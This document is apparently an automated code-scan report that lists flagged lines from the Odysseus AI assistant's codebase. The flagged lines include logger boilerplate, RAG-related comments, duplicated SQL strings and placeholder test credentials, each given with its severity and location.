| LOW | core/database.py | 1309 | CODE | |
| LOW | core/database.py | 1456 | CODE | |
| LOW | core/database.py | 1480 | CODE | |
| LOW | core/database.py | 1553 | CODE | |
| LOW | core/database.py | 1613 | CODE | |
| LOW | core/database.py | 1633 | CODE | |
| LOW | core/database.py | 2151 | CODE | |
| LOW | core/database.py | 2175 | CODE | |
| LOW | core/database.py | 2207 | CODE | |
| LOW | core/session_manager.py | 84 | CODE | |
| LOW | core/session_manager.py | 680 | CODE | |
| LOW | tests/test_security_regressions.py | 1308 | CODE | |
| LOW | tests/test_security_regressions.py | 1326 | CODE | |
| LOW | tests/test_local_endpoint_api_key_js.py | 27 | CODE | |
| LOW | tests/test_model_routes.py | 1243 | CODE | |
| LOW | tests/test_tool_index_schema_parity.py | 18 | CODE | |
| LOW | tests/test_fenced_inline_args.py | 160 | CODE | |
| LOW | tests/test_task_scheduler_cancel.py | 43 | CODE | |
| LOW | tests/test_task_scheduler_cancel.py | 59 | CODE | |
| LOW | tests/test_null_owner_gates.py | 30 | CODE | |
| LOW | tests/test_review_regressions.py | 1156 | CODE | |
| LOW | tests/test_toast_dismiss_pointer_events.py | 30 | CODE | |
| LOW | tests/test_toast_dismiss_pointer_events.py | 51 | CODE | |
| LOW | tests/test_toast_dismiss_pointer_events.py | 108 | CODE | |
| LOW | tests/test_tool_implementations_shim.py | 115 | CODE | |
| LOW | tests/test_chat_route_tool_policy.py | 29 | CODE | |
| LOW | tests/test_chat_route_tool_policy.py | 57 | CODE | |
| LOW | tests/test_document_diff_discard_on_update_js.py | 29 | CODE | |
| LOW | tests/test_webhook_trigger_auth_exempt.py | 30 | CODE | |
| LOW | tests/test_gallery_endpoint_hardening.py | 175 | CODE | |
| LOW | tests/test_chat_helpers_bg_tasks_tracked.py | 21 | CODE | |
| LOW | tests/test_llm_core_reasoning.py | 44 | CODE | |
| LOW | tests/test_diffusion_server_security.py | 41 | CODE | |
| LOW | tests/tools/build_oversized_test_split_plan.py | 48 | CODE | |
| LOW | …rations/claude/skills/odysseus/scripts/odysseus_api.py | 52 | CODE | |
| LOW | integrations/codex/scripts/odysseus_api.py | 52 | CODE | |
| LOW | scripts/import_from_vllm_recipes.py | 245 | CODE | |
| LOW | scripts/diffusion_server.py | 124 | CODE | |
| LOW | scripts/diffusion_server.py | 145 | CODE | |
| LOW | scripts/diffusion_server.py | 556 | CODE | |
| LOW | scripts/update_database.py | 73 | CODE | |
| LOW | scripts/add_hwfit_models.py | 251 | CODE | |
| LOW | scripts/pr_blocker_audit.py | 297 | CODE | |
| LOW | scripts/pr_blocker_audit.py | 432 | CODE | |
| LOW | mcp_servers/memory_server.py | 126 | CODE | |
| LOW | mcp_servers/rag_server.py | 69 | CODE | |
| LOW | mcp_servers/image_gen_server.py | 45 | CODE | |
| LOW | mcp_servers/email_server.py | 216 | CODE | |
| LOW | mcp_servers/email_server.py | 258 | CODE | |
| LOW | mcp_servers/email_server.py | 359 | CODE | |
| LOW | mcp_servers/email_server.py | 400 | CODE | |
| LOW | mcp_servers/email_server.py | 487 | CODE | |
| LOW | mcp_servers/email_server.py | 512 | CODE | |
| LOW | mcp_servers/email_server.py | 707 | CODE | |
| 386 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | requirements.txt | 14 | # Vector store + local embeddings for RAG, semantic memory, and tool | COMMENT |
| MEDIUM | build-macos-app.sh | 132 | # Wait for readiness (first run downloads an embedding model — allow ~2 min). | COMMENT |
| MEDIUM | requirements-optional.txt | 4 | # Note: chromadb-client + fastembed moved to requirements.txt — RAG, semantic | COMMENT |
| MEDIUM | requirements-optional.txt | 28 | # RAG index). markitdown (MIT, Microsoft) converts .docx/.xlsx/.pptx/.xls/.epub | COMMENT |
| MEDIUM | app.py | 35 | # 1463]), so the ONNX embedding model fails to load. huggingface_hub reads this | COMMENT |
| MEDIUM | app.py | 545 | # ========= RAG (vector document RAG) ========= | COMMENT |
| MEDIUM | start-macos.sh | 186 | # ChromaDB backs the tool index and vector RAG. chromadb ships in the venv, so | COMMENT |
| MEDIUM | tests/test_task_shell_tools.py | 3 | Regression for #4163: the task runner built `relevant_tools` from RAG output | STRING |
| MEDIUM⚡ | tests/test_task_shell_tools.py | 40 | assert "web_fetch" in tools # RAG-selected tool kept | CODE |
| MEDIUM | tests/test_task_shell_tools.py | 103 | # Degraded-index stand-in that still returns one RAG hit, so we can prove | COMMENT |
| MEDIUM | tests/test_task_shell_tools.py | 147 | # rest of the shell/file defaults and the RAG hit survive. | COMMENT |
| MEDIUM | tests/test_task_shell_tools.py | 153 | assert "web_fetch" in offered # RAG-selected tool preserved | CODE |
| MEDIUM | …/test_fenced_example_not_executed_for_native_models.py | 48 | # Skip RAG/tool-index, MCP, and settings lookups; keep the real loop body, | COMMENT |
| MEDIUM | tests/test_kv_cache_invalidation_2927.py | 97 | # in real life, minus any per-turn dynamic content (RAG/memory/web), which | COMMENT |
| MEDIUM | tests/test_agent_rounds_exhausted.py | 33 | # Skip RAG/tool-index, MCP, and settings lookups; keep the real loop body, | COMMENT |
| MEDIUM⚡ | tests/test_context_budget.py | 1 | """Issue #1170 — the agent input-token budget adapts to the model context window. | STRING |
| MEDIUM | tests/test_rag_remove_directory_scope.py | 1 | """Regression guard for #1660 — removing one RAG directory must delete only that | STRING |
| MEDIUM | tests/test_tool_rag_keyword_hints.py | 1 | """Regression for issue #1707 — the agent tool-RAG force-included the entire | STRING |
| MEDIUM | static/js/MODULE_SUMMARY.md | 104 | ## 6. Knowledge, Memory, and RAG | COMMENT |
| MEDIUM | static/js/calendar.js | 1173 | // Drag on an empty cell to scaffold a new event for that range. | COMMENT |
| MEDIUM | routes/note_routes.py | 229 | # prose=True strips untagged "The user wants me to…" chain-of-thought. | COMMENT |
| MEDIUM | routes/personal_routes.py | 258 | # Remove from RAG vector store (best-effort) | COMMENT |
| MEDIUM | routes/personal_routes.py | 352 | # Remove chunks from RAG vector store (best-effort) | COMMENT |
| MEDIUM | routes/auth_routes.py | 452 | # direct personal RAG uploads live in per-owner directories and the | COMMENT |
| MEDIUM⚡ | routes/embedding_routes.py | 302 | # Reset the RAG singleton so it picks up the new endpoint | COMMENT |
| MEDIUM⚡ | routes/embedding_routes.py | 346 | # Reset the RAG singleton so it falls back to fastembed | COMMENT |
| MEDIUM | routes/document_routes.py | 902 | # Detect email-scaffold stubs: "To: \nSubject: \n---\n" style | COMMENT |
| MEDIUM | routes/session_routes.py | 1136 | # all 100+ chats to one LLM call blows the context window, makes | COMMENT |
| MEDIUM | routes/chat_helpers.py | 707 | # or personal-doc RAG on every turn pulls in keyword-matched but off-topic | COMMENT |
| MEDIUM | routes/chat_helpers.py | 713 | # Use RAG? | COMMENT |
| MEDIUM | routes/skills_routes.py | 1614 | # candidates so the event-driven Skills Audit pipeline still runs. | COMMENT |
| MEDIUM | services/memory/skill_extractor.py | 217 | # chain-of-thought BEFORE the JSON output even when asked for | COMMENT |
| MEDIUM | src/teacher_escalation.py | 645 | # tried. The appended note leads with the user request text so RAG | COMMENT |
| MEDIUM | src/personal_docs.py | 205 | self.excluded_files: Set[str] = set() # Files removed from RAG listing | CODE |
| MEDIUM | src/personal_docs.py | 286 | # If RAG manager is available, index the directory immediately. | COMMENT |
| MEDIUM | src/tool_index.py | 37 | # of topic. Without this, RAG drops it and the agent falls back to | COMMENT |
| MEDIUM | src/tool_index.py | 48 | # check-ins and proactive tasks, in addition to RAG-selected tools. | COMMENT |
| MEDIUM | src/tool_index.py | 188 | # Without this, upsert leaves them in place and RAG keeps | COMMENT |
| MEDIUM | src/tool_index.py | 265 | # Include server identity in the indexed text so RAG can | COMMENT |
| MEDIUM⚡ | src/task_scheduler.py | 1616 | # RAG-select relevant tools for this prompt + always-available assistant tools. | COMMENT |
| MEDIUM | src/task_scheduler.py | 28 | # setting turns them off). The RAG tool selector + ASSISTANT_ALWAYS_AVAILABLE | COMMENT |
| MEDIUM | src/task_scheduler.py | 1654 | # Strip the model's chain-of-thought before saving/delivering. Task | COMMENT |
| MEDIUM | src/context_compactor.py | 39 | COMPACT_THRESHOLD = 0.85 # Trigger compaction at 85% of context window | CODE |
| MEDIUM | src/context_compactor.py | 247 | # Priority: keep first system msg (preset prompt), drop others (memory, RAG, memo). | COMMENT |
| MEDIUM⚡ | src/ai_interaction.py | 469 | # RAG management tool | COMMENT |
| MEDIUM | src/app_initializer.py | 59 | # Initialize memory vector store (share embedding model with RAG if available) | COMMENT |
| MEDIUM | src/agent_loop.py | 665 | # Legacy: full prompt with all tools (fallback when RAG unavailable) | COMMENT |
| MEDIUM | src/agent_loop.py | 1543 | # With RAG tools, cache key includes the selected tools | COMMENT |
| MEDIUM | src/agent_loop.py | 2104 | # RAG mode: trust the relevant_tools set as already-composed. | COMMENT |
| MEDIUM | src/agent_loop.py | 2116 | # Fallback: full prompt (RAG unavailable) | COMMENT |
| MEDIUM | src/agent_loop.py | 2301 | # web/RAG context. THREAT_MODEL.md lists tool output as a surface that | COMMENT |
| MEDIUM | src/agent_loop.py | 2746 | # RAG-based tool selection: retrieve relevant tools for this query. | COMMENT |
| MEDIUM | src/agent_loop.py | 2759 | # actually calls for them (RAG retrieval adds those on a real ask). | COMMENT |
| MEDIUM | src/agent_loop.py | 2765 | # Don't short-circuit: fall through to RAG retrieval below. | COMMENT |
| MEDIUM | src/agent_loop.py | 2819 | # Fallback: if RAG unavailable, use keyword-based tool selection | COMMENT |
| MEDIUM | src/agent_loop.py | 2861 | # regardless of which selection path (RAG, keyword, caller-provided) ran. | COMMENT |
| MEDIUM | src/agent_loop.py | 2890 | # settings make web tools visible even when tool RAG misses them; | COMMENT |
| MEDIUM | src/agent_loop.py | 3302 | # Filter schemas by RAG-selected tools (if available) | COMMENT |
| MEDIUM | src/agent_loop.py | 3770 | # The model is finishing. If this was an effectful agentic turn, | COMMENT |
| MEDIUM | src/agent_loop.py | 4082 | # RAG-selected this turn (declared via requires_toolsets in its | COMMENT |
| 12 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | app.py | 115 | logger = logging.getLogger(__name__) | CODE |
| LOW | core/auth.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | core/database.py | 17 | logger = logging.getLogger(__name__) | CODE |
| LOW | core/session_manager.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | core/__init__.py | 32 | __all__ = [ | CODE |
| LOW | scripts/index_documents.py | 33 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/email_pollers.py | 45 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/signature_routes.py | 21 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/tts_routes.py | 11 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/cleanup_routes.py | 8 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/mcp_routes.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/chatgpt_subscription_routes.py | 20 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/email_routes.py | 64 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/backup_routes.py | 12 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/copilot_routes.py | 40 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/search_routes.py | 14 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | routes/note_routes.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/webhook_routes.py | 16 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/cookbook_helpers.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/vault_routes.py | 22 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/personal_routes.py | 19 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/admin_wipe_routes.py | 36 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/shell_routes.py | 106 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/email_helpers.py | 40 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/compare_routes.py | 17 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/editor_draft_routes.py | 30 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/task_routes.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/auth_routes.py | 38 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/embedding_routes.py | 14 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/document_routes.py | 17 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/stt_routes.py | 9 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/cookbook_routes.py | 47 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/cookbook_routes.py | 636 | def set_flag(flag: str, value: str) -> None: | CODE |
| LOW | routes/cookbook_routes.py | 704 | def set_flag(flag: str, value: str) -> None: | CODE |
| LOW | routes/preset_routes.py | 15 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/upload_routes.py | 33 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/session_routes.py | 124 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/diagnostics_routes.py | 13 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/emoji_routes.py | 23 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | routes/chat_routes.py | 389 | def _set_user_time_from_request(request: Request) -> None: | CODE |
| LOW | routes/chat_routes.py | 52 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/document_helpers.py | 18 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/model_routes.py | 34 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/chat_helpers.py | 25 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/calendar_routes.py | 20 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/skills_routes.py | 23 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | routes/research/research_routes.py | 72 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/memory/memory_routes.py | 35 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/gallery/gallery_helpers.py | 16 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/gallery/gallery_routes.py | 28 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/contacts/contacts_routes.py | 28 | logger = logging.getLogger(__name__) | CODE |
| LOW | routes/history/history_routes.py | 23 | logger = logging.getLogger(__name__) | CODE |
| LOW | services/__init__.py | 17 | __all__ = [ | CODE |
| LOW | services/research/research_handler.py | 20 | logger = logging.getLogger(__name__) | CODE |
| LOW | services/research/__init__.py | 7 | __all__ = [ | CODE |
| LOW | services/memory/memory_extractor.py | 20 | logger = logging.getLogger(__name__) | CODE |
| LOW | services/memory/skill_extractor.py | 13 | logger = logging.getLogger(__name__) | CODE |
| LOW | services/memory/memory_vector.py | 5 | __all__ = ["MemoryVectorStore"] | CODE |
| LOW⚡ | services/memory/skill_format.py | 56 | logger = logging.getLogger(__name__) | CODE |
| LOW⚡ | services/memory/skills.py | 30 | logger = logging.getLogger(__name__) | CODE |
| 98 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW | requirements.txt | 21 | youtube-transcript-api | COMMENT |
| LOW | docker-compose.gpu-nvidia.yml | 1 | # Standalone NVIDIA GPU Compose file for stack-management UIs (Portainer, | COMMENT |
| LOW | build-macos-app.sh | 1 | #!/bin/bash | COMMENT |
| LOW | requirements-optional.txt | 1 | # Optional dependencies — install only if you use the corresponding feature. | COMMENT |
| LOW | requirements-optional.txt | 21 | # value/annotation/signature stamping, page rendering for the form overlay). | COMMENT |
| LOW | docker-compose.gpu-amd.yml | 1 | # Standalone AMD ROCm GPU Compose file for stack-management UIs (Portainer, | COMMENT |
| LOW | app.py | 361 | # answered. AuthMiddleware is the outermost middleware, so gating the | COMMENT |
| LOW | app.py | 541 | # ========= YOUTUBE INIT ========= | COMMENT |
| LOW | start-macos.sh | 1 | #!/bin/bash | COMMENT |
| LOW | start-macos.sh | 81 | if "$p" -c 'import sys; raise SystemExit(0 if sys.version_info[:2] >= (3, 11) else 1)' 2>/dev/null; then | COMMENT |
| LOW | docker/gpu.amd.yml | 1 | # AMD ROCm GPU overlay. Enable by setting COMPOSE_FILE in .env: | COMMENT |
| LOW | docker/gpu.nvidia.yml | 1 | # NVIDIA GPU overlay. Enable by setting COMPOSE_FILE in .env: | COMMENT |
| LOW | docker/entrypoint.sh | 1 | #!/bin/sh | COMMENT |
| LOW | docker/entrypoint.sh | 101 | done | COMMENT |
| LOW | docker/build-realesrgan-wheels.sh | 1 | #!/usr/bin/env bash | COMMENT |
| LOW | core/database.py | 1881 | COMMENT | |
| LOW | static/app.js | 4121 | // <iframe>. Iframes swallow drag-and-drop events: a file dropped on a pane is | COMMENT |
| LOW | static/sw.js | 1 | // static/sw.js — Odysseus PWA Service Worker | COMMENT |
| LOW | static/js/chatRenderer.js | 401 | ta.placeholder = 'Could not load OCR text — type your correction and save.'; | COMMENT |
| LOW | static/js/chatRenderer.js | 1141 | const idx = Number(num) - 1; | COMMENT |
| LOW | static/js/galleryEditor.js | 161 | // click still override this transiently. | COMMENT |
| LOW | static/js/galleryEditor.js | 181 | // transiently for the duration of that one stroke. | COMMENT |
| LOW | static/js/galleryEditor.js | 441 | return layer; | COMMENT |
| LOW | static/js/galleryEditor.js | 501 | return false; | COMMENT |
| LOW | static/js/galleryEditor.js | 521 | // top of this cache. | COMMENT |
| LOW | static/js/galleryEditor.js | 661 | // Source = layer.canvas walked through all its adjustment | COMMENT |
| LOW | static/js/galleryEditor.js | 1281 | // popup re-uses the existing #ge-inpaint-prompt and #ge-inpaint-run | COMMENT |
| LOW | static/js/galleryEditor.js | 1621 | * working unchanged. | COMMENT |
| LOW | static/js/galleryEditor.js | 2721 | const _toggleShortcuts = _shortcutsPopover.toggleShortcuts; | COMMENT |
| LOW | static/js/galleryEditor.js | 2781 | saveProject: () => _saveProject(), | COMMENT |
| LOW | static/js/modalSnap.js | 1 | // Right-edge snap docking for draggable modals. | COMMENT |
| LOW | static/js/cookbookServe.js | 1341 | // stays as the source-of-truth so every existing change handler | COMMENT |
| LOW | static/js/cookbookServe.js | 1381 | // GPUs button strip moved to Row 2 (next to GPU Mem) below. 4px | COMMENT |
| LOW | static/js/cookbookServe.js | 1401 | } | COMMENT |
| LOW | static/js/cookbookServe.js | 1421 | panelHtml += `<label class="hwfit-backend-vllm hwfit-backend-sglang">${_l('Max Seqs','Maximum concurrent requests. | COMMENT |
| LOW | static/js/cookbookServe.js | 1481 | panelHtml += `<label>Height${_h('Default output height')} <input type="text" class="hwfit-sf" data-field="diff_hei | COMMENT |
| LOW | static/js/cookbookServe.js | 3161 | // llama.cpp VRAM-fit preflight. Catches the silent-CPU-fallback | COMMENT |
| LOW | static/js/cookbookServe.js | 3401 | const serveHost = launchTarget.host || ''; | COMMENT |
| LOW | static/js/ui.js | 921 | } | COMMENT |
| LOW | static/js/cookbook.js | 561 | export function _psQuote(value) { | COMMENT |
| LOW | static/js/cookbook.js | 1121 | // so the user can watch the pip install in the Running tab. | COMMENT |
| LOW | static/js/notes.js | 801 | if (Notification.permission === 'denied') return false; | COMMENT |
| LOW | static/js/notes.js | 3601 | }); | COMMENT |
| LOW | static/js/notes.js | 4821 | // Make the checklist row drag handle (⋮⋮) actually work on touch. | COMMENT |
| LOW | static/js/cookbookSchedule.js | 1 | // Cookbook Schedule — opens a small inline form (styled with the app's | COMMENT |
| LOW | static/js/cookbookSchedule.js | 81 | // Resolve the model identity from the closest .memory-item card — | COMMENT |
| LOW | static/js/cookbookRunning.js | 3301 | const pctMatches = [...snapshot.matchAll(/(\d+)%\|/g)]; | COMMENT |
| LOW | static/js/section-management.js | 41 | if (willCollapse) { | COMMENT |
| LOW | static/js/slashAutocomplete.js | 1 | // static/js/slashAutocomplete.js | COMMENT |
| LOW | static/js/emailLibrary.js | 1521 | _loadEmailsFresh(); | COMMENT |
| LOW | static/js/emailLibrary.js | 2721 | // Debounced IMAP search — fires ~500ms after the user stops typing so | COMMENT |
| LOW | static/js/emailLibrary.js | 7781 | // formaction/action/background/poster/data attributes. | COMMENT |
| LOW | static/js/signature.js | 1 | // static/js/signature.js | COMMENT |
| LOW | static/js/a11y.js | 1 | // Accessibility enhancements for keyboard + screen-reader users. | COMMENT |
| LOW | static/js/streamingSegmenter.js | 1 | // streamingSegmenter.js | COMMENT |
| LOW | static/js/streamingSegmenter.js | 21 | // tested in isolation and reused for any markdown renderer with no long-range | COMMENT |
| LOW | static/js/windowResize.js | 1 | // Shared window-resize helper. Companion to makeWindowDraggable: gives every | COMMENT |
| LOW | static/js/windowDrag.js | 1 | // Shared window-drag helper. Replaces the duplicated mousedown / mousemove | COMMENT |
| LOW | static/js/windowDrag.js | 21 | // in dock-snap range). Caller restores windowed | COMMENT |
| LOW | static/js/escMenuStack.js | 1 | // static/js/escMenuStack.js | COMMENT |
| 86 more matches not shown… | ||||
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | tests/test_skills_manager_owner_isolation.py | 0 | \ --- name: {name} description: original description version: 1.0.0 category: {category} tags: [] status: draft confiden | STRING |
| HIGH | tests/test_skills_routes_owner_update.py | 0 | \ --- name: {name} description: original description version: 1.0.0 category: {category} tags: [] status: draft confiden | STRING |
| HIGH | tests/test_skills_delete_owner.py | 0 | \ --- name: {name} description: original description version: 1.0.0 category: {category} tags: [] status: draft confiden | STRING |
| HIGH | tests/test_skill_save_no_rename.py | 0 | \ --- name: {name} description: original description version: 1.0.0 category: {category} tags: [] status: draft confiden | STRING |
| HIGH | tests/test_provider_detection_host_match.py | 0 | provider detection tests — build_chat_url / build_models_url routing (re: #768). these import the *real* helpers from `` | STRING |
| HIGH | tests/test_provider_detection_detect.py | 0 | provider detection tests — build_chat_url / build_models_url routing (re: #768). these import the *real* helpers from `` | STRING |
| HIGH | tests/test_provider_detection_builders.py | 0 | provider detection tests — build_chat_url / build_models_url routing (re: #768). these import the *real* helpers from `` | STRING |
| HIGH | tests/test_email_owner_scope.py | 0 | insert or replace into email_summaries (message_id, owner, uid, folder, subject, sender, summary, model_used, created_at | STRING |
| HIGH | routes/email_pollers.py | 0 | insert or replace into email_summaries (message_id, owner, uid, folder, subject, sender, summary, model_used, created_at | STRING |
| HIGH | routes/email_routes.py | 0 | insert or replace into email_summaries (message_id, owner, uid, folder, subject, sender, summary, model_used, created_at | STRING |
| HIGH | tests/test_email_owner_scope.py | 0 | insert or replace into email_ai_replies (message_id, owner, uid, folder, reply, model_used, created_at) values (?, ?, ?, | STRING |
| HIGH | routes/email_pollers.py | 0 | insert or replace into email_ai_replies (message_id, owner, uid, folder, reply, model_used, created_at) values (?, ?, ?, | STRING |
| HIGH | routes/email_routes.py | 0 | insert or replace into email_ai_replies (message_id, owner, uid, folder, reply, model_used, created_at) values (?, ?, ?, | STRING |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| MEDIUM | build-macos-app.sh | 34 | # let sips emit the .icns directly — more robust across macOS versions than | COMMENT |
| LOW | start-macos.sh | 72 | # (or non-mac) we just use whatever Python 3.11+ is on PATH. | COMMENT |
| MEDIUM | core/database.py | 300 | # Library + search. Owning the row directly is robust against that. | COMMENT |
| MEDIUM | core/database.py | 2464 | """Get comprehensive database statistics including file size""" | STRING |
| MEDIUM | tests/test_companion_readonly.py | 24 | # import is robust regardless of collection order. | COMMENT |
| MEDIUM | tests/test_backup_import_skills_dedup.py | 18 | # via monkeypatch — robust to import order and reverted at teardown. (Stubbing | COMMENT |
| MEDIUM | tests/test_chat_metrics.py | 23 | # --- captured-stream harness (mirrors test_llm_core_streaming.py) ----------- | COMMENT |
| MEDIUM | static/js/windowResize.js | 10 | // inner element. Absolutely-positioned handle children would scroll away | COMMENT |
| MEDIUM | static/js/slashCommands.js | 2365 | // via .closest(selector) — more robust than t.contains(e.target) when | COMMENT |
| MEDIUM | scripts/add_hwfit_models.py | 269 | # Next-to-last resort: parse config.json. This is robust against | COMMENT |
| MEDIUM | routes/cookbook_routes.py | 1036 | # also breaks robust resume on flaky transfers — the blob-based hub | COMMENT |
| MEDIUM | services/search/service.py | 69 | # `fetch_content` is accepted for API compatibility; the comprehensive | COMMENT |
| MEDIUM | services/search/core.py | 262 | """Perform comprehensive web search with content fetching and advanced filtering.""" | STRING |
| MEDIUM | src/document_actions.py | 69 | # Documents now carry their own owner column (robust to a deleted | COMMENT |
| MEDIUM⚡ | src/llm_core.py | 957 | # harness size. Character presets can ask for a warmer voice, but | COMMENT |
| MEDIUM⚡ | src/deep_research.py | 707 | """Let the LLM decide whether the report is comprehensive enough.""" | STRING |
| LOW | src/agent_tools/session_tools.py | 312 | # just return a clickable anchor link the user can click. The | COMMENT |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| LOW⚡ | tests/test_imap_leak_fixes.py | 51 | result = helpers._fetch_sender_thread_context("user@example.com") | CODE |
| LOW⚡ | tests/test_imap_leak_fixes.py | 68 | result = helpers._fetch_sender_thread_context("user@example.com") | CODE |
| LOW⚡ | tests/test_imap_leak_fixes.py | 255 | "imap_user": "user@example.com", | CODE |
| LOW | tests/test_imap_leak_fixes.py | 308 | "imap_user": "user@example.com", "imap_password": "wrong", | CODE |
| LOW | tests/test_imap_leak_fixes.py | 358 | "smtp_security": security, "smtp_user": "user@example.com", | CODE |
| LOW | tests/test_email_imap_timeout.py | 111 | "imap_user": "user@example.com", | CODE |
| LOW | tests/test_email_imap_timeout.py | 125 | assert captured["login"] == ("user@example.com", "pw") | CODE |
| LOW⚡ | tests/test_email_oauth.py | 41 | state = make_oauth_state("acct-123", "user@example.com") | CODE |
| LOW⚡ | tests/test_email_oauth.py | 46 | assert payload["o"] == "user@example.com" | CODE |
| LOW⚡ | tests/test_email_oauth.py | 61 | state = make_oauth_state("acct-123", "user@example.com") | CODE |
| LOW⚡ | tests/test_email_oauth.py | 76 | state = make_oauth_state("acct-123", "user@example.com") | CODE |
| LOW⚡ | tests/test_model_context.py | 87 | api_key="fake-key", | CODE |
| LOW | tests/test_model_context.py | 251 | api_key="fake-key", | CODE |
| LOW⚡ | tests/test_model_routes.py | 458 | ep = SimpleNamespace(endpoint_kind="auto", api_key="fake-key") | CODE |
| LOW⚡ | tests/test_model_routes.py | 1611 | api_key="fake-key", | CODE |
| LOW⚡ | tests/test_model_routes.py | 1620 | "api_key": "fake-key", | CODE |
| LOW⚡ | tests/test_model_routes.py | 1668 | "api_key": "fake-key", | CODE |
| LOW⚡ | tests/test_model_routes.py | 1683 | api_key="fake-key", | CODE |
| LOW | tests/test_model_routes.py | 486 | result = _ping_endpoint("http://100.117.136.97:34521/v1", "fake-key", timeout=1) | CODE |
| LOW | tests/test_model_routes.py | 1440 | api_key="fake-key", | CODE |
| LOW | tests/test_model_routes.py | 1473 | api_key="fake-key", | CODE |
| LOW | tests/test_model_routes.py | 1650 | api_key="fake-key", | CODE |
| LOW | tests/test_model_routes.py | 1714 | "api_key": "fake-key", | CODE |
| LOW | tests/test_model_routes.py | 1764 | api_key="fake-key", | CODE |
| LOW⚡ | tests/test_sender_signature_skip_roles.py | 20 | assert _skipped("admin@example.org") | CODE |
| LOW⚡ | tests/test_shell_routes.py | 460 | assert _ssh_base_argv("user@example.com", None) == [ | CODE |
| LOW⚡ | tests/test_shell_routes.py | 466 | "user@example.com", | CODE |
| LOW⚡ | tests/test_email_send_only_no_inbox.py | 26 | "smtp_user": "noreply@example.org", | CODE |
| LOW⚡ | tests/test_email_send_only_no_inbox.py | 33 | "from_address": "noreply@example.org", | CODE |
| LOW⚡ | tests/test_api_token_routes.py | 290 | fake_token = SimpleNamespace(id="abcd1234", owner="alice", name="test") | CODE |
| LOW⚡ | tests/test_api_token_routes.py | 292 | fake_session.query.return_value.filter.return_value.first.return_value = fake_token | CODE |
| LOW⚡ | tests/test_api_token_routes.py | 301 | fake_session.delete.assert_called_once_with(fake_token) | CODE |
| LOW⚡ | tests/test_api_token_routes.py | 454 | fake_token = SimpleNamespace(id="tok123", owner="alice", name="alice-token") | CODE |
| LOW⚡ | tests/test_api_token_routes.py | 456 | fake_session.query.return_value.filter.return_value.first.return_value = fake_token | CODE |
| LOW⚡ | tests/test_api_token_routes.py | 494 | fake_token = SimpleNamespace(id="tok123", owner="alice", name="alice-token") | CODE |
| LOW⚡ | tests/test_api_token_routes.py | 496 | fake_session.query.return_value.filter.return_value.first.return_value = fake_token | CODE |
| LOW⚡ | tests/test_api_token_routes.py | 504 | fake_session.delete.assert_called_once_with(fake_token) | CODE |
| LOW | tests/test_hwfit_container_visibility_warning.py | 80 | out = hardware._attach_probe_context(result, host="user@example.com") | CODE |
| LOW | static/app.js | 2318 | textarea.setAttribute('placeholder', w < PLACEHOLDER_COMPACT_WIDTH ? 'Message...' : 'Message Odysseus...'); | CODE |
| LOW | static/lib/html2pdf.bundle.min.js | 2 | !function(e,t){"object"==typeof exports&&"object"==typeof module?module.exports=t():"function"==typeof define&&define.am | CODE |
| LOW | static/lib/highlight.min.js | 317 | }),re=["a","abbr","address","article","aside","audio","b","blockquote","body","button","canvas","caption","cite","code", | CODE |
| Severity | File | Line | Snippet | Context |
|---|---|---|---|---|
| HIGH | static/js/cookbookDownload.js | 165 | elif t>=1048576: ds=f'{s.n/1048576:.1f}';ts=f'{t/1048576:.1f}MB';ss=f'{sp/1048576:.1f}MB/s' | CODE |
| HIGH | static/js/cookbookDownload.js | 168 | print(f'FILE {d} [{bar}] {p}% {ds}/{ts} {ss}',flush=True) | CODE |
| HIGH⚡ | static/js/cookbookDownload.js | 188 | print(f'START {repo}',flush=True) | CODE |
| HIGH⚡ | static/js/cookbookDownload.js | 191 | print(f'DONE {path}',flush=True) | CODE |
